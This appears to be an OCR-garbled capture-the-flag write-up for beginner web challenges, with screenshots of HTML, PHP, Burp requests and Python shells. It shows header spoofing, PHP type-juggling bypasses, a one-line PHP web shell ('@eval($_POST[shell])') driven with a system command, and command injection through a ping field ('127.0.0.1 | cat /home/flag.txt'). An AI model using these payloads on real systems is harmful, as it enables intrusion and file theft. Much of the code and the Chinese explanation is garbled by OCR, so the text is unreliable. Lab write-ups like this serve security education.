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<!DOCTYPE html>
<html lang="en”>
<head>
<meta charset="UTF-8">
<title>Where is the FLAG{/title>
</head>
<body>
{script>
document. oncontextmenu=new Function("return false”)
document. onselectstart=new Function("return false”)
{/script>

<h1>FLAG is not here</hl>
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</body>
</html>
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User—agent: *
Disallow:
Disallow: flag_ls_h3re. php
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<html>

<head>
<meta charset="UTF-8">
<title> O3S < ftitle >

<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;




}

</style>
</head>
<body>
<h3>{fRElEIndex. phpRI&EH X AERE? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCO8BDE334}"
7>
</body>
</html>
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Burp Intruder Repeater VWWindow Help

[Target TP.-:.\',' I Spider IS«:anner Tlntruder IRepeater TSequencer TDecoder TCDmparer ]’Extender IOplions IA\erts ]

t I HTTP history ] WebSockets history T Options ]
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4| Reguestto hitp:#/111.198.29.45:44570
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Raw T Params T Headers | Hex

GET / HTTE/1.1

Host: 111.198.29.45:44570

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html, application/xhtmltxzml, application/=ml;q=0.9,*/*;g=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: look-here=cookie.php

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

e
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Connection: Keep-Alive

Content-Length: 411
Content-Type: text/html
Date: Mon, 04 Nov 2019 01:17:12 GMT

= IE =S i
document

£2111.198.29.4... cookie.php

stylesheet css BEF 97.22..

EL GET A libs.baidu.com bootstrap.min.css
@D GET  A111.198.294.. faviconico img ntml  BEF 290 75
flag: cyberpeaceiffadc29ae4aa78e76785eeb4131019af}
(@ Keep-Alive: imeout=5, max=100
@ Server: Apache/2.4T (Ubuntu)
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<htmls>

b <head>!= </head>

w <body>
<h3>— A REHRAHEE </ h2>
type="submit” wvalue="flag" name="auth">»

w <form action="" method="post”>
" style="height:58px;width:280px;"

<input class="btn btn-default” disabled="

</form:
</body>
</html>

html > body > form
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<html>
<head>
<titledJs</title>
{script type="text/javascript”>
function dechiffre(pass_enc) {
var pass = "70, 65, 85, 88, 32, 80, 63, 83, 83, 87, 79, 82, 68, 32, 72, 65, 72, 65”;
var tab = pass_enc.split(’,”);
var tab2 = pass.split(’,”);var i,j,k 1=0,m,n,0,p =
k=j3+ 1) + @0);
n = tab2. length;
for(i = (0=0); 1 < (k= j =n); i++ ){o = tab[i-1];p += String. fromCharCode ({0 = tab2[il));

“:1i = 0;j = tab. length;

if(i == 5)break;}
for(i = (0=0); i < (k= j=n); i++){
o = tab[i-1];
if(i> 5 &k i <kl
p += String. fromCharCode ({0 = tab2[i]));
1
p += String. fromCharCode (tab2[17]) ;
pass = p;return pass;
1
String[”fromCharCode”] (dechiffre ("\x354x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c \x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30") ) ;

h = window. prompt (' Enter password’);
alert( dechiffre(h) );

</script>
</head>

</html>
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Python 2.7.11 (v2.7,11:6d1b6a68f776, Dec 6 2015, 20:32:19) [MSC v. 1500 32 bit ( -
Intel)] on win32

Type “copyright”, “credits” or “license()” for more information.

>»> =" \x30\x30\x2c\x 30 \x 36\ 20 \x 30 \x 34 \x 2 \x 3T \x 39\ x 2 \x 31 \x 31 \x 30 \x 20 \x 36k 39",
®208x 31 \x 31 \x 3 \x20x 31\ 23 1\ 236 \x 20 \x 31 \x 30\x 3T \x 20 \x 34 \x 30\ x 20 \x 35 \x 30"

»>> print(s)

55, 5|6, 54,79, 116,69, 114, 116, 107, 49, 50

b

| & Python 2.7.11 Shell — O e

File Edit Shell Debug Options Window Help

Python 2.7.11 (v2,7.11:6d1b6ah8f7756, Dec & 2016, 20:32:19) [MSC wv. 1500 32 bit ( ;]
Intel)] on win32

Type “copyright”, “credits” or “license()” for more information.

>r> =" \x30\x30\x 20 \x 30 \x 36\ 20 \x 30 \x 34 \x 2 \x 3T \x 39\ x 2o \x 31 \x 31 \x 30 \x 20 \x 364x 39",
®20hx 31 \x 31 \x 34 \x20x 31\ 23 1 Ve 36 \x 20\ x 31\ 30\ x 3T \x 20\ x 34 \x 30\ x 20\ x 35 \x 30"

»>» print(s)

65, 66,64, 79, 115,69, 114, 116, 107, 49, 50

»»» a = [bb, 56, 54,79, 115,69, 114, 116, 107, 49, 50]
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A272 Tor 1 1n a:

b =chr({i)
c=c+h
print (c)
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GET / HTTER/1.1 A
Host: 111.1958.29.45:524Z23 a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html, application/xhtml+xml, application/=zml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;gq=0.8,zh-TW;q=0.7, zh-HE;g=0.5,en-Us8;g=0.3,en;g=0.2
Accept—-Encodling: gzlp, deflate

Connection: keep-alive

Cookie: look-here=cookie.php

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

¥-Forwarded-For: 23.123.123. 123

Referer: https://www.google.com

ER

? L=<l * s Type a search term 0 maiches

73 3R k¥ nReferer: https:/mwww.google.com,
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cyberpeace{1df7ec300eb87834a78a7b577af5e55}
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+: webshell
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Fpostls R4k 3% —f)shell=system(‘cat flag.txt’); ¥ &, B/5H S PREEI.

<« C @ O % 111.198.29.45:54168
Bvaesas B ammL B yaRersmss

{R&{sEwebshelll?

cyberpeace{0d41d645a675f52809f90ad8ac1632f5}<?php
@eval($_POST[shell]);?>
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i@ Load URL hitp://111.198.29.45:54168/

g@ Split URL

Executs
Postdata [] Referer [] User Agent [] Cookies Clear All

shell=system('cat flag.txt");

flagE#|,

+—: command_execution

XN EREAS, BTHILR, BEE Twp

HEFEE: | WIERRET— NS RRE E— M E A
& MIEF R BT — %t S PAT RIS, AT —%w L.
FEBAMERIN127.0.0.1 | find / -name “flag.txt’

PING
RN EEping Uitk

PING

ping -c 3 127.0.8.1 | find / -name "flag.txt"
/home/flag.txt

SREARYE B~ H P2 127.0.0.1 | cat /home/flag.txt
PING
FEMNFEpingfthik

PING

ping -c 3 127.0.0.1 | cat /home/flag.txt
cyberpeace{978cced3b847ef4d0276b98ac76d5816}
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show source( FILE );
include (“config. php”) ;
$a=0%_GET[ a’];
$b=0%_GET['b'1;
if($a==0 and $a){

echo $flagl;
}

if (is_numeric($h)) {
exit();

1
if ($h>1234) {

echo $flag2;
}

Py

R — TR LA E R 2 a==0 Mif a NE B, 4 Exflagl. bR BT H Y b> 1234 44 Birflag2, 4 EIEHKflaght
flag1+flag2.
W % \/index.php?a=abc, &I

&« ¢ @ © & 111.198.29.45:48946/index.php?a=abc
B Ierss B sEm B Wleriss
<{?php
show_source(__FILE )
include ("config. php”) ;
$a=0§ GET[ a 1;
$b=0$_GET[' b’ ];
if(3a=—=0 and $a){
echo $§flagl;
}

if(is_numeric($h)) {
exit();

}
if (8b>1234) {

echo $flag?;
}

i

Cyberpeace{647E37C7627CC3E401

HI T falg1, XEREAphpt HIFHEM LB & f’abc’ == 0N K.
R G Mk s a=abc&b=1235a, 7§%Fflag2

&« c @ © & 111.198.29.45:48946/index.php?a=abc8b=12345a B8 e T LY IND e n
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<?php

show_source (_ FILE_ ) :
include ("config. php”) ;
$a=@3_GET[ a’ ];
$b=0$_GET['b’1;
if($a==0 and $a){

echo $flagl;
}

if (is_numeric ($h)) {
exit();

}
if($b>1234) {

echo §flag?;
}
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